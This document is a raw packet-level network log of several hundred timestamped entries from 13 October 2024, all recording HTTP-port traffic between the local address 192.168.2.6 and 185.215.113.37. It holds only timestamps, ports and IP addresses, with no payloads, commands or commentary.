Oct 13, 2024 14:49:18.436671019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436692953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436785936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436794996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436809063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436825037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436827898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436835051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436846018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436846972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436855078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436872005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436891079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436928034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436938047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.436959982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436984062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.436990023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437000036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437009096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437017918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437024117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437028885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437041044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437067986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437287092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437297106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437306881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437340021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437474966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437484026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437493086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437503099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437503099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437515020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437520027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437532902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437544107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437551022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437551975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437561989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.437568903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.437598944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.438513994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438523054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438533068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438564062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.438577890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.438590050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438621998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.438946962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438955069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438963890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.438990116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.439013958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.439246893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.439291000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.440148115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.440159082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.440171003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.440190077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.440212011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.440711021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.440721989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.440731049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.440751076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.440776110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.441195011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.441205978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.441215992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.441241980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.441267967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.442140102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.442150116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.442161083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.442193985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.442210913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.443016052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443025112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443034887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443063974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.443084002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.443188906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443228960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.443519115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443530083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443538904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.443573952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.443598032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.444597960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.444607019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.444617033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.444653034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.444673061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.444941998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.444983959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.445480108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.445523977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.445595026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.445604086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.445641994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.446803093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.446813107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.446820974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.446861029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.446873903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.447357893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.447371006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.447379112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.447421074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.448014021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.448026896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.448036909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.448064089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.448081017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.448828936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.448873997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.448879004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.448884010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.448908091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.448920965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.449110031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.449127913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.449136972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.449161053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.449184895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.449908972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.449959040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.449966908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.449996948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.450000048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.450033903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.475966930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.476058960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.476119995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.476154089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.520569086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.520663977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.524812937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.524866104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.565128088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.565190077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.565222025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.565223932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.565256119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.565270901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.565270901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.565310001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.566747904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.566817045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.566863060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.566894054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.566936016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.566936016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.567282915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.567317963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.567352057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.567378998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.568058968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.568135977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.568496943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.568531990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.568558931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.568564892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.568578005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.568612099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570164919 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570221901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570231915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570276022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570281029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570312023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570339918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570347071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570358038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570404053 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570472002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570506096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570533991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570540905 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570550919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570574045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570600986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570625067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570625067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570676088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570677042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570712090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570739031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570744991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570755005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570779085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570807934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570811987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570827961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570846081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570869923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570878983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570893049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570914030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570930004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570947886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570974112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.570981979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.570997953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571014881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571026087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571067095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571069002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571101904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571130991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571136951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571151972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571177006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571188927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571233034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571274042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571304083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571332932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571353912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571357965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571410894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571413994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571456909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571484089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571502924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571511030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571563005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571567059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571597099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571613073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571630001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571657896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571665049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571672916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571700096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571718931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571727037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571733952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571748018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571749926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571768999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571769953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571810961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571836948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571849108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571861982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571885109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571898937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571911097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571923018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.571933031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.571970940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.572011948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572024107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572033882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572046041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572062016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.572088957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.572357893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572417021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.572454929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572464943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572511911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.572987080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.572999001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573009968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573020935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573031902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573043108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573046923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573055029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573066950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573087931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573115110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573127985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573139906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573151112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573162079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573173046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573179007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573184967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573198080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573205948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573225975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573245049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573276997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573287964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573301077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573312044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573323011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573323011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573333979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573345900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573345900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573367119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573393106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573429108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573441029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573453903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573473930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573501110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573523998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573540926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573568106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573596954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573863983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573878050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573889971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.573920965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.573949099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.574589968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.574601889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.574620962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.574641943 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.574671030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.574923992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.574935913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.574949026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.574975967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.575002909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.575566053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.575577974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.575591087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.575624943 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.575653076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.577384949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.577446938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.577497005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.577507973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.577526093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.577536106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.577544928 CEST	80	49720	185.215.113.37	192.168.2.6
